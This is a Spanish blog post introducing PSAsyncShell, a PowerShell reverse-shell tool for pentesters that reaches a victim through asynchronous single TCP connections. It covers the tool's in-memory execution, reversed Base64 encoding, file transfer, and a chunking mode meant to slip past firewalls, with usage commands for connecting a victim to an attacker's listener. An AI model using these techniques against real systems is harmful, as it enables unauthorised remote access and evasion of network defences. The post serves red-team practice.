Muy buenas a todos!

Esta semana os traigo un nuevo proyecto llamado PSAsyncShell. En esta ocasión, se trata de un pequeño script en PowerShell, que nos permitirá bypassear firewalls a través de una conexión TCP asíncrona, con el fin de realizar tareas sencillas como subir y descargar ficheros, ejecutar comandos y algunas cosas más.


No existe duda alguna de que, una de las herramientas más utilizadas por todos los pentesters del mundo, son las shells. No importa si son directas o reversas, si son interactivas o se trata de una webshell como PyShell.

Tampoco es la primera vez que hablamos de este tipo de herramientas (ni será la última, seguro). Como hemos podido ver, existen de todas las formas y colores, utilizando todo tipo de protocolos, como Mística a través de DNS o HTTP-RevShell a través de HTTP/S.

Gracias a todos estos (y muchos otros) proyectos, tenemos un sin fin de opciones para realizar nuestras maldades nuestro trabajo de una forma fácil, sencilla y sobre todo, eficiente.

Durante un pentest o un ejercicio de Red Team, podemos encontrarnos con todo tipo de dificultades que pueden obstaculizar la obtención de nuestra ansiada shell remota. A veces será un EDR, otras un firewall intermedio, o incluso, puede que se trate de cualquier otra capa de seguridad, que finalmente acabará bloqueando (y frustrando) nuestras intenciones.

Para solucionar esto, lo primero que debemos identificar, es el fallo del que podemos abusar. Puede sonar sencillo y algo genérico, pero la realidad es totalmente diferente. Básicamente, más allá de probar diferentes herramientas y soluciones sin sentido, será necesario encontrar el «punto de fuga» por el que poder establecer una conexión entre las partes con éxito.

Ya que no quiero alargar excesivamente este post, daré algunas cosas por hecho. Supongamos que hemos encontrado la forma de comunicarnos al exterior, tras una serie de pruebas y un perfecto análisis por nuestra parte. Para este ejemplo, imaginemos que podemos realizar una conexión TCP al exterior desde una máquina víctima, sin problema alguno (aparentemente).

Esto puede ser algo totalmente habitual, ya que muchos servicios (FTP, SSH, HTTP..) utilizan el protocolo TCP para comunicarse. Aunque a priori pueda parecer que somos capaces de comunicarnos externamente, es probable que alguna de las capas de seguridad anteriormente mencionadas, esté vigilando este tráfico con el fin de bloquear actividades maliciosas.

De hecho, si buscáis en Google, encontraréis todo tipo de guías para bloquear este tipo de acciones utilizando todo tipo de hardware dedicado para ello.

Continuando con nuestra aventura, hemos descubierto que podemos enviar paquetes a través de TCP al exterior, pero un firewall nos bloquea cada vez que intentamos establecer una shell interactiva a través de este medio, por ejemplo, con netcat.

Curiosamente, nos percatamos de que podemos enviar un solo paquete sin ser bloqueados por estos dispositivos. Es decir, podemos enviar o recibir la salida del comando whoami si lo enviamos a través de netcat por TCP, pero no podemos obtener una shell interactiva.

Ahora bien, qué pasaría si hiciéramos estas consultas de forma asíncrona dentro de un bucle infinito? Si funcionase a una velocidad relativamente rápida, sería (a efectos prácticos) lo mismo que una shell interactiva.

Una vez llegué a esta conclusión, me dispuse a buscar una herramienta que hiciera este proceso, ya que estaba totalmente convencido de que alguien se habría encontrado antes en esta situación (o eso pensaba yo). La realidad, como suele ser habitual, fue totalmente diferente.

Así que una vez más, me dispuse a crear mi propia prueba de concepto, a la que llamaría PSAsyncShell. A continuación, os dejo el enlace del proyecto en GitHub: https://github.com/JoelGMSec/PSAsyncShell

Ahora que ya conocemos la teoría, pasemos a la parte práctica 😋

En este artículo, os explicaré cómo usar ambas partes tanto desde Linux como desde Windows. Para empezar, clonaremos y ejecutaremos el proyecto con los siguientes comandos:

git clone https://github.com/JoelGMSec/PSAsyncShell
cd PSAsyncShell ; pwsh PSAsyncShell.ps1 -h

Como podemos ver en la imagen anterior, el uso de la herramienta es completamente trivial. Lo único que tenemos que hacer es, poner la parte servidor a la escucha y conectar a nuestra víctima (la parte cliente) con su correspondiente IP de destino y puerto.

De esta forma, el uso de la herramienta es idéntico al que ya hemos visto en otras ocasiones, haciéndolo muy fácil de usar para todos aquellos que ya estén familiarizados con este tipo de tools.

Como una imagen vale más que mil palabras, a continuación os dejo una captura de una shell reversa desde Windows, utilizando Linux como servidor:

Como os decía anteriormente, a efectos prácticos, no existe apenas diferencia con una shell reversa «normal» por así decirlo. Pero por debajo, todo está funcionando de forma totalmente asíncrona. Es decir, cada vez que se ejecuta un comando, sucede lo siguiente:

– El servidor lee el comando desde el prompt y lo guarda en una variable
– El servidor pone a la escucha un puerto y se prepara para enviarla
– El cliente se conecta, recibe el comando y ambas partes cierran la conexión
– El cliente ejecuta el comando y guarda el resultado en una variable
– El servidor pone de nuevo a la escucha el puerto, para recibir el output
– El cliente se conecta de nuevo y le manda la salida del comando al servidor
– El servidor la recibe, la decodifica y la muestra por pantalla
– De nuevo, ambas partes cierran la conexión

Para que podáis verlo de forma más visual, a continuación os adjunto una imagen de lo que sería la ejecución del comando «whoami» tal y como hemos visto en la captura anterior:

Entrando un poco más en detalle, empezamos a ver claras diferencias con el uso de un netcat convencional. En primer lugar, todo el tráfico viaja codificado en Base64 URL al revés, que ya es un clásico en muchos de mis proyectos. Por otra parte, tanto la ejecución como el envío de la información, se hace siempre desde la memoria y en ningún momento, se escribe nada en disco.

Por otra parte, también contamos con otras ventajas que otras herramientas no incorporan, como la subida y bajada de ficheros desde la propia terminal, sin tener que ejecutar otra nueva instancia ni tener que utilizar redireccionadores o tuberías.

Pero antes de llegar a esa parte, también me gustaría recalcar la posibilidad de poder movernos entre directorios y poder ejecutar comandos en los mismos, al igual que lo haríamos en una terminal convencional:

Ahora que ya hemos visto lo fácil que es movernos por los directorios y ejecutar comandos, vamos a cambiar el escenario para demostrar cómo subir y descargar ficheros. Para la ocasión, lo haremos totalmente a la inversa, utilizando Windows como la parte atacante y Linux como la parte víctima:

Por defecto, los ficheros se descargarán en la ruta donde se está ejecutando la herramienta y se subirán en el directorio actual de la víctima. También es posible indicar la ruta completa y los ficheros se descargarán y se subirán en la misma sin problemas.

Por último, solo nos quedaría ver una función que no está documentada en la ayuda de la herramienta, ya que actualmente se encuentra en fase experimental. Os hablo concretamente de la función «MultiPart».

Esta función, a la que he llamado así por sus similitudes con el mismo concepto para HTTP, lo que hace básicamente, es trocear en pequeños chunks la salida del comando, con el objetivo de generar paquetes TCP más pequeños. Esto es así, ya que me he encontrado algunos casos, en los que paquetes muy grandes terminan siendo descartados o bloqueados.

Para utilizar esta característica especial, solo tenemos que utilizar el parámetro -m seguido de la longitud del texto del paquete. Ya que todo el contenido viaja en Base64 URL al revés, podemos definir de una forma muy sencilla cuánto medirá cada uno de los fragmentos.

En el siguiente ejemplo, utilizaré una longitud de 2000 caracteres, que es más que suficiente para enviar la mayoría de comandos de forma completa y solo hacer un split en aquellos más largos. En la parte víctima, ejecutaremos la herramienta de la siguiente forma:

.\PSAsyncShell.ps1 -c ip_de_destino puerto -m 2000

En la parte servidor, lo haremos de la forma habitual. Gracias al funcionamiento asíncrono, el servidor sabrá cuando recibirá un comando dividido en diferentes partes, y mostrará un aviso en pantalla, tal y como podemos ver a continuación:

Para no confundir al usuario y poder tener una trazabilidad de los paquetes recibidos, cada vez que se reciba una parte, se mostrará un punto al final de la frase «Receiving MultiPart Data». Así podremos saber si el proceso está funcionando, o por el contrario, hemos sido bloqueados de alguna forma.

Es posible utilizar cualquier tipo de longitud de paquete, pero recomiendo encarecidamente utilizar valores no más pequeños de 500 para evitar comportamientos no deseados por la herramienta.

Es importante tener en cuenta que, debido a los fallos de integridad que puede suponer este sistema, las funciones de subir y descargar ficheros no utilizarán este método, por lo que si intentamos hacerlo, los datos sobrepasarán el tamaño máximo que hayamos indicado anteriormente.

Antes de terminar el post, me gustaría mencionar que a pesar de que el tráfico no va en plano y que el comportamiento es totalmente diferente a una shell reversa convencional, eso no implica que no podamos ser detectados y bloqueados por el equipo azul.

Como conclusión final, la herramienta se encuentra en fase «beta» y es probable que se produzcan fallos en algunos escenarios. Si encuentras alguno, no dudes en hacérmelo saber 🙂

Espero que os haya gustado y os resulte útil en vuestras próximas auditorías.

Nos vemos en la próxima!